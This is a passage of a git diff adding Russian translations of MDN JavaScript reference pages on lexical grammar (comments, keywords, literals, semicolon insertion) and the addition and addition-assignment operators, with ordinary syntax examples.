+<h2 id="Окончание_строк">Окончание строк</h2>
+
+<p>В дополнение к пробельным символам, символы окончания строк тоже используются для читабельности исходного кода. Однако, в некоторых случаях, символы окончания строк могут влиять на выполнение JavaScript кода, т.к. есть некоторые места, где они запрещены.</p>
+
+<p>Окончания строк также затрагивают процесс <a href="#Automatic_semicolon_insertion">автоматического проставления точки с запятой</a>. Также окончания строк попадают под условия <a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">регулярных выражений</a> при поиске <strong>\s</strong> класса.</p>
+
+<p>В ECMAScript, в качестве окончания строк можно использовать только ниже перечисленные Юникод символы. Другие символы окончания строк будут интерпретированы, как пробельные символы (например, Next Line, NEL, U+0085 будут интерпретироваться, как пробельные символы).</p>
+
+<table class="standard-table">
+ <caption>Символы окончания строк</caption>
+ <tbody>
+  <tr>
+   <th>Code point</th>
+   <th>Name</th>
+   <th>Abbreviation</th>
+   <th>Description</th>
+   <th>Escape sequence</th>
+  </tr>
+  <tr>
+   <td>U+000A</td>
+   <td>Line Feed</td>
+   <td>&lt;LF&gt;</td>
+   <td>Новая строка в UNIX системах.</td>
+   <td>\n</td>
+  </tr>
+  <tr>
+   <td>U+000D</td>
+   <td>Carriage Return</td>
+   <td>&lt;CR&gt;</td>
+   <td>Новая строка в Commodore и ранних Mac systems.</td>
+   <td>\r</td>
+  </tr>
+  <tr>
+   <td>U+2028</td>
+   <td>Line Separator</td>
+   <td>&lt;LS&gt;</td>
+   <td><a href="http://en.wikipedia.org/wiki/Newline">Wikipedia</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>U+2029</td>
+   <td>Paragraph Separator</td>
+   <td>&lt;PS&gt;</td>
+   <td><a href="http://en.wikipedia.org/wiki/Newline">Wikipedia</a></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Комментарии">Комментарии</h2>
+
+<p>Комментарии используются для добавления подсказок, заметок, предложений или предупреждений. Они могут упростить чтение и понимание кода. Также они могут быть использованы для предотвращения выполнения кода (этот приём практикуется при отладке кода).</p>
+
+<p>В JavaScript есть несколько способов указать комментарии в коде.</p>
+
+<p>Первый способ <code>//</code> комментарий; в этом случае весь текст в строке после двойного слэша будет комментарием, например:</p>
+
+<pre class="brush: js notranslate">function comment() {
+  // Это комментарий в строке
+  console.log("Hello world!");
+}
+comment();
+</pre>
+
+<p>Второй способ - это <code>/* */</code>, такой способ более гибок, чем первый.</p>
+
+<p>Например, вы можете использовать его в одной строке:</p>
+
+<pre class="brush: js notranslate">function comment() {
+  /* Это однострочный комментарий */
+  console.log("Hello world!");
+}
+comment();</pre>
+
+<p>Либо вы можете сделать многострочный комментарий, как показано здесь:</p>
+
+<pre class="brush: js notranslate">function comment() {
+  /* Этот комментарий располагается на нескольких линиях.
+     Обратите внимание, что вам не нужно обрывать комментарий, пока вы его не закончите*/
+  console.log("Hello world!");
+}
+comment(); </pre>
+
+<p>Также, если пожелаете, то вы можете использовать такое комментирование посреди строки кода. Хотя это может ухудшить читабельность кода:</p>
+
+<pre class="brush: js notranslate">function comment(x) {
+  console.log("Hello " + x /* вставьте значение x */ + " !");
+}
+comment("world");</pre>
+
+<p>Чтобы отключить выполнение кода, просто оберните код в комментарий, как здесь:</p>
+
+<pre class="brush: js notranslate">function comment() {
+  /* console.log("Hello world!"); */
+}
+comment();</pre>
+
+<p>В этом случае <code>console.log()</code> никогда не выполнится, пока он внутри комментария. Таким способом можно отключить любое количество строк кода.</p>
+
+<h2 id="Шебанг_комментарии">Шебанг комментарии</h2>
+
+<p>Третий специализированный синтаксис комментариев, <strong>шебанг комментарий</strong>, в процессе стандартизации в ECMAScript (смотреть <a href="https://github.com/tc39/proposal-hashbang">Hashbang Grammar proposal</a>).</p>
+
+<p>Шебанг комментарий ведет себя точно также как и однострочный (<code>//</code>) комменатрий. Вместо этого, он начинается с <code>#!</code> и <strong>действителен только в самом начале скрипта или модуля</strong>. Обратите внимание, что никакие пробелы не разрешены перед <code>#!</code>. Комментарий состоит из всех символов после <code>#!</code> до конца первой строки; только такой комментарий разрешен.</p>
+
+<p>Шебанг комментарий определяет путь к  JavaScript интерпретатору, скрипт которого Вы хотите выполнить. Пример, как это работает:</p>
+
+<pre class="brush: js notranslate">#!/usr/bin/env node
+
+console.log("Hello world");
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: Hashbang comments in JavaScript mimic <a href="https://en.wikipedia.org/wiki/Shebang_(Unix)">shebangs in Unix</a> used to run files with proper interpreter.</p>
+</div>
+
+<div class="blockIndicator warning">
+<p>Although <a href="https://en.wikipedia.org/wiki/Byte_order_mark">BOM</a> before hashbang comment will work in a browser it is not advised to use BOM in a script with hasbang. BOM will not work when you try to run the script in Unix/Linux. So use UTF-8 without BOM if you want to run scripts directly from shell.</p>
+</div>
+
+<p>Для определения JavaScript интерпретатора используйте только <code>#!</code> . В любых других случаях используйте <code>//</code> (или многострочный комментарий).</p>
+
+<h2 id="Ключевые_слова"><a id="Keywords" name="Keywords"></a>Ключевые слова</h2>
+
+<h3 id="Зарезервированные_ключевые_слова_в_ECMAScript_2015">Зарезервированные ключевые слова в ECMAScript 2015</h3>
+
+<div class="threecolumns">
+<ul>
+ <li>{{jsxref("Statements/break", "break")}}</li>
+ <li>{{jsxref("Statements/switch", "case")}}</li>
+ <li><code>class</code></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch"><code>catch</code></a></li>
+ <li>{{jsxref("Statements/const", "const")}}</li>
+ <li>{{jsxref("Statements/continue", "continue")}}</li>
+ <li>{{jsxref("Statements/debugger", "debugger")}}</li>
+ <li>{{jsxref("Statements/switch", "default")}}</li>
+ <li>{{jsxref("Operators/delete", "delete")}}</li>
+ <li>{{jsxref("Statements/while", "do")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else"><code>else</code></a></li>
+ <li>{{jsxref("Statements/export", "export")}}</li>
+ <li><code>extends</code></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch"><code>finally</code></a></li>
+ <li>{{jsxref("Statements/for", "for")}}</li>
+ <li>{{jsxref("Statements/function", "function")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else"><code>if</code></a></li>
+ <li>{{jsxref("Statements/import", "import")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in"><code>in</code></a></li>
+ <li>{{jsxref("Operators/instanceof", "instanceof")}}</li>
+ <li>{{jsxref("Statements/let", "let")}}</li>
+ <li>{{jsxref("Operators/new", "new")}}</li>
+ <li>{{jsxref("Statements/return", "return")}}</li>
+ <li>{{jsxref("Operators/super", "super")}}</li>
+ <li>{{jsxref("Statements/switch", "switch")}}</li>
+ <li>{{jsxref("Operators/this", "this")}}</li>
+ <li>{{jsxref("Statements/throw", "throw")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch"><code>try</code></a></li>
+ <li>{{jsxref("Operators/typeof", "typeof")}}</li>
+ <li>{{jsxref("Statements/var", "var")}}</li>
+ <li>{{jsxref("Operators/void", "void")}}</li>
+ <li>{{jsxref("Statements/while", "while")}}</li>
+ <li>{{jsxref("Statements/with", "with")}}</li>
+ <li><code>yield</code></li>
+</ul>
+</div>
+
+<h3 id="Ключевые_слова_зарезервированные_на_будущее">Ключевые слова, зарезервированные на будущее</h3>
+
+<p>Следующие ключевые слова зарезервированы на будущее ECMAScript спецификацией. За ними сейчас не стоит никакой функциональности, но она может появиться в будущих версиях, поэтому эти ключевые слова не могут быть использованы, как идентификаторы. Эти ключевые слова не могут быть использованы даже в strict или non-strict режимах.</p>
+
+<ul>
+ <li><code>enum</code></li>
+ <li><code>await</code></li>
+</ul>
+
+<p>Следующие ключевые слова зарезервированы для кода, который выполняется в strict режиме:</p>
+
+<div class="threecolumns">
+<ul>
+ <li><code>implements</code></li>
+ <li><code>package</code></li>
+ <li><code>protected</code></li>
+ <li><code>static</code></li>
+ <li><code>interface</code></li>
+ <li><code>private</code></li>
+ <li><code>public</code></li>
+</ul>
+</div>
+
+<h3 id="Зарезервированные_ключевые_слова_в_более_старых_версиях">Зарезервированные ключевые слова в более старых версиях</h3>
+
+<p>Перечисленные ниже ключевые слова зарезервированы для старых версий ECMAScript спецификаций (ECMAScript от 1 по 3).</p>
+
+<div class="threecolumns">
+<ul>
+ <li><code>abstract</code></li>
+ <li><code>boolean</code></li>
+ <li><code>byte</code></li>
+ <li><code>char</code></li>
+ <li><code>double</code></li>
+ <li><code>final</code></li>
+ <li><code>float</code></li>
+ <li><code>goto</code></li>
+ <li><code>int</code></li>
+ <li><code>long</code></li>
+ <li><code>native</code></li>
+ <li><code>short</code></li>
+ <li><code>synchronized</code></li>
+ <li><code>transient</code></li>
+ <li><code>volatile</code></li>
+</ul>
+</div>
+
+<p>К тому же, литералы <code>null</code>, <code>true</code>, и <code>false</code> зарезервированы в ECMAScript для их обычной функциональности.</p>
+
+<h3 id="Reserved_word_usage" name="Reserved_word_usage"></h3>
+
+<h3 id="Reserved_word_usage" name="Reserved_word_usage">Использование зарезервированных слов</h3>
+
+<p>Зарезервированные слова действительно применяются только к идентификаторам<strong> (vs. IdentifierNames)</strong>. Как описано в <a href="http://es5.github.com/#A.1">es5.github.com/#A.1</a>, это все имена IdentifierNames, которые не исключают зарезервированных слов.</p>
+
+<pre class="brush: js notranslate">a.import
+a["import"]
+a = { import: "test" }.
+</pre>
+
+<p>С другой стороны, следующее выражение неправильно, т.к. Идентификатор <code>IdentifierName</code> не содержит зарезервированных слов. Идентификаторы используются для <code>FunctionDeclaration, FunctionExpression, VariableDeclaration</code> и т.п., в то время, как <code>IdentifierNames</code> используются для <code> MemberExpression, CallExpression</code> и т.п.</p>
+
+<pre class="brush: js notranslate">function import() {} // неправильно.</pre>
+
+<h2 id="Литералы">Литералы</h2>
+
+<h3 id="Литерал_Null">Литерал Null</h3>
+
+<p>Подробнее о <code>{{jsxref('Global_Objects/null','null')}}null</code>.</p>
+
+<pre class="brush: js notranslate">null</pre>
+
+<h3 id="Литерал_Boolean">Литерал Boolean</h3>
+
+<p>Подробнее о <code>{{jsxref('Global_Objects/Boolean','Boolean')}}</code>.</p>
+
+<pre class="brush: js notranslate">true
+false</pre>
+
+<h3 id="Литералы_чисел">Литералы чисел</h3>
+
+<h4 id="Decimal_десятичные_числа">Decimal (десятичные числа)</h4>
+
+<pre class="brush: js notranslate">1234567890
+42
+
+// Будьте осторожны с использованием нуля вначале числа:
+
+0888 // 888 распознается, как десятичное число
+0777 // распознается, как восьмеричное число, 511 - как десятичное число
+</pre>
+
+<p>Имейте в виду, что литералы десятичных чисел могут начинаться с нуля (0), за которым следует другое десятичное число, но в случае, если число начинается с нуля и за ним идет цифра меньше 8, то число будет распознано как восьмеричное. This won't throw in JavaScript, see {{bug(957513)}}. See also the page about <code>{{jsxref('Global_Objects/parseInt','parseInt()','Octal_interpretations_with_no_radix')}}</code>.</p>
+
+<h4 id="Binary_двоичные_числа">Binary (двоичные числа)</h4>
+
+<p>Синтаксис двоичных чисел состоит из цифры ноль, за которой следует маленькая или большая латинская буква "B" (0b или 0B). Этот синтаксис новый и появился только в ECMAScript 2015, пожалуйста посмотрите таблицу совместимости с браузерами. Это может производить ошибку <code>{{jsxref('Global_Objects/SyntaxError','SyntaxError')}}</code>: "Missing binary digits after 0b", Если цифры не 0 или 1.</p>
+
+<pre class="brush: js notranslate">var FLT_SIGNBIT  = 0b10000000000000000000000000000000; // 2147483648
+var FLT_EXPONENT = 0b01111111100000000000000000000000; // 2139095040
+var FLT_MANTISSA = 0B00000000011111111111111111111111; // 8388607</pre>
+
+<h4 id="Octal_восьмеричные_числа">Octal (восьмеричные числа)</h4>
+
+<p>Восьмеричный числовой синтаксис, который использует 0 с последующей, в нижнем или верхнем регистре, латинскую букву "О" (<code>0o</code> или <code>0O)</code>. Этот синтаксис появился в ECMAScript 2015, пожалуйста, посмотрите таблицу совместимости с браузерами. Это может производить ошибку <code>SyntaxError</code>: "Missing octal digits after 0o", если цифры не между 0 и 7.</p>
+
+<pre class="brush: js notranslate">var n = 0O755; // 493
+var m = 0o644; // 420
+
+// Так же возможно с лидирующими нулями (см. заметку о десятичных дробях выше)
+0755
+0644
+</pre>
+
+<h4 id="Hexadecimal_шестнадцатеричные_числа">Hexadecimal (шестнадцатеричные числа)</h4>
+
+<p>Шестнадцатеричный числовой синтаксис, который использует 0 с последующей, в нижнем или верхнем регистре, латинскую букву "X" (<code>0x</code> или <code>0X)</code>. Если числа после 0x вне диапазона (0123456789ABCDEF), то может последовать за этим {{jsxref("SyntaxError")}}: "Identifier starts immediately after numeric literal".</p>
+
+<pre class="brush: js notranslate">0xFFFFFFFFFFFFFFFFF // 295147905179352830000
+0x123456789ABCDEF   // 81985529216486900
+0XA                 // 10
+</pre>
+
+<h3 id="Литерал_Object_Объект">Литерал Object (Объект)</h3>
+
+<p>Смотрите также {{jsxref("Object")}} и {{jsxref('Operators/Object_initializer','Object initializer')}} для получения более подробной информации.</p>
+
+<pre class="brush: js notranslate">var o = { a: "foo", b: "bar", c: 42 };
+
+// сокращенная нотация. Появилась в ES2015
+var a = "foo", b = "bar", c = 42;
+var o = {a, b, c};
+// вместо
+var o = { a: a, b: b, c: c };
+</pre>
+
+<h3 id="Литерал_Array_Массив">Литерал Array (Массив)</h3>
+
+<p>Смотрите также {{jsxref("Array")}} для получения более подробной информации.</p>
+
+<pre class="brush: js notranslate">[1954, 1974, 1990, 2014]</pre>
+
+<h3 id="Литерал_String_Строка">Литерал String (Строка)</h3>
+
+<pre class="brush: js notranslate">'foo'
+"bar"</pre>
+
+<h4 id="Экранирование_шестнадцатеричной_последовательности">Экранирование шестнадцатеричной последовательности</h4>
+
+<pre class="brush: js notranslate">'\xA9' // "©"
+</pre>
+
+<h4 id="Экранирование_Юникод_символов">Экранирование Юникод символов</h4>
+
+<p>Для экранирования Юникод символов обязательно нужно указать по-крайней мере 4 символа после \u.</p>
+
+<pre class="brush: js notranslate">'\u00A9' // "©"</pre>
+
+<h4 id="Unicode_code_point_escapes">Unicode code point escapes</h4>
+
+<p>Новое в ECMAScript 2015. With Unicode code point escapes, any character can be escaped using hexadecimal numbers so that it is possible to use Unicode code points up to <code>0x10FFFF</code>. With simple Unicode escapes it is often necessary to write the surrogate halves separately to achieve the same.</p>
+
+<p>See also {{jsxref("String.fromCodePoint()")}} or {{jsxref("String.prototype.codePointAt()")}}.</p>
+
+<pre class="brush: js notranslate">'\u{2F804}'
+
+// the same with simple Unicode escapes
+'\uD87E\uDC04'</pre>
+
+<h3 id="Литерал_Регулярного_выражения">Литерал Регулярного выражения</h3>
+
+<p>Смотрите также <code>{{jsxref('Global_Objects/RegExp','RegExp')}}</code> для получения более подробной информации.</p>
+
+<pre class="brush: js notranslate">/ab+c/g
+
+// An "empty" regular expression literal
+// The empty non-capturing group is necessary
+// to avoid ambiguity with single-line comments.
+/(?:)/</pre>
+
+<h3 id="Литерал_Шаблона">Литерал Шаблона</h3>
+
+<p>Смотрите также {{jsxref('template_strings','template strings')}} для получения более подробной информации.</p>
+
+<pre class="brush: js notranslate">`string text`
+
+`string text line 1
+ string text line 2`
+
+`string text ${expression} string text`
+
+tag `string text ${expression} string text`</pre>
+
+<h2 id="Автоматическая_вставка_точки_с_запятой">Автоматическая вставка "точки с запятой"</h2>
+
+<p>Некоторые {{jsxref('Statements','JavaScript условия')}} должны быть завершены точкой с запятой и поэтому на них влияет автоматическая вставка точки с запятой (ASI):</p>
+
+<ul>
+ <li>Пустое условие</li>
+ <li><code>let</code>, <code>const</code>, переменные</li>
+ <li><code>import</code>, <code>export</code>, объявление модулей</li>
+ <li>Оператор-выражение</li>
+ <li><code>debugger</code></li>
+ <li><code>continue</code>, <code>break</code>, <code>throw</code></li>
+ <li><code>return</code></li>
+</ul>
+
+<p>Спецификация ECMAScript напоминает о <a href="http://people.mozilla.org/~jorendorff/es6-draft.html#sec-rules-of-automatic-semicolon-insertion">трех правилах вставки точки с запятой</a>.</p>
+
+<p>1. Точка с запятой ставится до, когда ограничитель строки или "}" is encountered that is not allowed by the grammar.</p>
+
+<pre class="brush: js notranslate">{ 1 2 } 3
+
+// согласно ASI, будет преобразовано в
+
+{ 1 2 ;} 3;</pre>
+
+<p>2. Точка с запятой ставится в конце, когда обнаружен конец вводимой строки токенов и парсер is unable to parse the single input stream as a complete program.</p>
+
+<p>Here <code>++</code> is not treated as a {{jsxref('Operators/Arithmetic_Operators','postfix operator','Increment')}} applying to variable <code>b</code>, because a line terminator occurs between <code>b</code> and <code>++</code>.</p>
+
+<pre class="brush: js notranslate">a = b
+++c
+
+// согласно ASI, будет преобразовано в
+
+a = b;
+++c;
+</pre>
+
+<p>3. Точка с запятой вставляется в конце, когда согласно инструкции с ограниченным производством в грамматике следует ограничитель строки. Эти утверждения с правилами «no LineTerminator here» здесь:</p>
+
+<ul>
+ <li>PostfixExpressions (<code>++</code> and <code>--</code>)</li>
+ <li><code>continue</code></li>
+ <li><code>break</code></li>
+ <li><code>return</code></li>
+ <li><code>yield</code>, <code>yield*</code></li>
+ <li><code>module</code></li>
+</ul>
+
+<pre class="brush: js notranslate">return
+a + b
+
+// согласно ASI, будет преобразовано в
+
+return;
+a + b;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition.</td>
+   <td>Standard</td>
+   <td>Первичное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-7', 'Lexical Conventions')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-ecmascript-language-lexical-grammar', 'Lexical Grammar')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Добавлено: Двоичные и восьмеричные числовые литералы, Unicode code point escapes, Шаблоны</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Binary and octal numeric literals<br>
+    (<code>0b</code> and <code>0o</code>)</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("25")}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Unicode code point escapes<br>
+    (<code>\u{}</code>)</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }}<br>
+    {{bug(952985)}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Shorthand notation for object literals</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatGeckoDesktop("33")}}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>Template literals</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatGeckoDesktop("34")}}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Binary and octal numeric literals</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatGeckomobile("33")}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Unicode code point escapes</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }}<br>
+    {{bug(952985)}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Shorthand notation for object literals</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{CompatGeckoMobile("33")}}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>Template literals</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{CompatGeckoMobile("34")}}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Особенности_Firefox">Особенности Firefox</h2>
+
+<ul>
+ <li>Prior to Firefox 5 (JavaScript 1.8.6), future reserved keywords could be used when not in strict mode. This ECMAScript violation was fixed in Firefox 5.</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также:</h2>
+
+<ul>
+ <li><a href="http://whereswalden.com/2013/08/12/micro-feature-from-es6-now-in-firefox-aurora-and-nightly-binary-and-octal-numbers/">Jeff Walden: Двоичные и восьмеричные числа</a></li>
+ <li><a href="http://mathiasbynens.be/notes/javascript-escapes">Mathias Bynens: JavaScript character escape sequences</a></li>
+ <li>{{jsxref("Boolean")}}</li>
+ <li>{{jsxref("Number")}}</li>
+ <li>{{jsxref("RegExp")}}</li>
+ <li>{{jsxref("String")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/addition/index.html b/files/ru/web/javascript/reference/operators/addition/index.html
new file mode 100644
index 0000000000..94efb4b63e
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/addition/index.html
@@ -0,0 +1,80 @@
+---
+title: Сложение (+)
+slug: Web/JavaScript/Reference/Operators/Addition
+tags:
+  - JavaScript
+  - Оператор
+translation_of: Web/JavaScript/Reference/Operators/Addition
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Оператор сложения (+) создает сумму числовых операндов или конкатенацию строк.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-addition.html")}}</div>
+
+<div></div>
+
+<p class="hidden">Источник для этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в интерактивный проект примеров, пожалуйста, клонируйте https://github.com/mdn/interactive-examples и пришлите нам запрос.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><strong>Оператор:</strong> <var>x</var> + <var>y</var>
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Сложение_чисел">Сложение чисел</h3>
+
+<pre class="brush: js notranslate">// Number + Number -&gt; addition
+1 + 2 // 3
+
+// Boolean + Number -&gt; addition
+true + 1 // 2
+
+// Boolean + Boolean -&gt; addition
+false + false // 0
+</pre>
+
+<h3 id="Сложение_строк">Сложение строк</h3>
+
+<pre class="brush: js notranslate">// String + String -&gt; concatenation
+'foo' + 'bar' // "foobar"
+
+// Number + String -&gt; concatenation
+5 + 'foo' // "5foo"
+
+// String + Boolean -&gt; concatenation
+'foo' + false // "foofalse"</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификации</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-addition-operator-plus', 'Addition operator')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице составлена из структурированных данных. Если Вы хотите внести свой вклад в данные, пожалуйста, посетите https://github.com/mdn/browser-compat-data и отправьте нам запрос.</div>
+
+<p>{{Compat("javascript.operators.addition")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Subtraction">Subtraction operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Division">Division operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Multiplication">Multiplication operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Remainder">Remainder operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Exponentiation">Exponentiation operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Increment">Increment operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Decrement">Decrement operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Unary_negation">Unary negation operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Unary_plus">Unary plus operator</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/addition_assignment/index.html b/files/ru/web/javascript/reference/operators/addition_assignment/index.html
new file mode 100644
index 0000000000..dfabe25e2e
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/addition_assignment/index.html
@@ -0,0 +1,75 @@
+---
+title: Сложение с присваиванием (+=)
+slug: Web/JavaScript/Reference/Operators/Addition_assignment
+tags:
+  - JavaScript
+  - Оператор
+translation_of: Web/JavaScript/Reference/Operators/Addition_assignment
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Оператор сложения с присваиванием (<code>+=</code>) добавляет значение правого операнда к переменной и присваивает переменной результат. Типы двух операндов определяют поведение оператора сложения с присваиванием. Добавление или конкатенация возможны.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-addition-assignment.html")}}</div>
+
+<div></div>
+
+<p class="hidden">Источник для этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в интерактивный проект примеров, пожалуйста, клонируйте https://github.com/mdn/interactive-examples и пришлите нам запрос.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><strong>Оператор:</strong> x += y
+<strong>Значение:</strong> x  = x + y</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_сложения_с_присваиванием">Использование сложения с присваиванием</h3>
+
+<pre class="brush: js notranslate">// Assuming the following variables
+//  foo = 'foo'
+//  bar = 5
+//  baz = true
+
+// Number + Number -&gt; addition
+bar += 2 // 7
+
+// Boolean + Number -&gt; addition
+baz += 1 // 2
+
+// Boolean + Boolean -&gt; addition
+baz += false // 1
+
+// Number + String -&gt; concatenation
+bar += 'foo' // "5foo"
+
+// String + Boolean -&gt; concatenation
+foo += false // "foofalse"
+
+// String + String -&gt; concatenation
+foo += 'bar' // "foobar"</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификации</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-assignment-operators', 'Assignment operators')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице составлена из структурированных данных. Если Вы хотите внести свой вклад в данные, пожалуйста, посетите https://github.com/mdn/browser-compat-data и отправьте нам запрос.</div>
+
+<p>{{Compat("javascript.operators.addition_assignment")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Assignment">Assignment operators in the JS guide</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Addition">Оператор сложения</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/arithmetic_operators/index.html b/files/ru/web/javascript/reference/operators/arithmetic_operators/index.html
new file mode 100644
index 0000000000..16c83fcba5
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/arithmetic_operators/index.html
@@ -0,0 +1,290 @@
+---
+title: Арифметические операции
+slug: Web/JavaScript/Reference/Operators/Arithmetic_Operators
+tags:
+  - JavaScript
+  - Операторы
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>
+<div>{{jsSidebar("Operators")}}</div>
+</div>
+
